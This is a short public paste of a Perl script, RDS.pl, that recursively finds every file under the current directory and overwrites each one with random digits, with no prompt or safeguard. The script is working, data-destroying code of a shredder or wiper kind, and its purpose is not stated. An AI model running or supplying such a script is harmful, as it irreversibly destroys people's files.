All pastes #938641 Raw Edit

RDS.pl

public text v1 · immutable
·published 2008-03-11 19:47 UTC
rendered paste body
@file_array = ();

use File::Find;
find sub { push(@file_array, $File::Find::name);}, "./";

foreach $filename (@file_array) {
  open (TARGET_R, "< $filename");
  binmode (TARGET_R);
  @file = <TARGET_R>;
  $file_size = length(join("", @file));
  close (TARGET_R);
  
  open (TARGET_W, "> $filename");
  printf(TARGET_W "%s", int(rand(256))) for(1..$file_size);
  close (TARGET_W);
}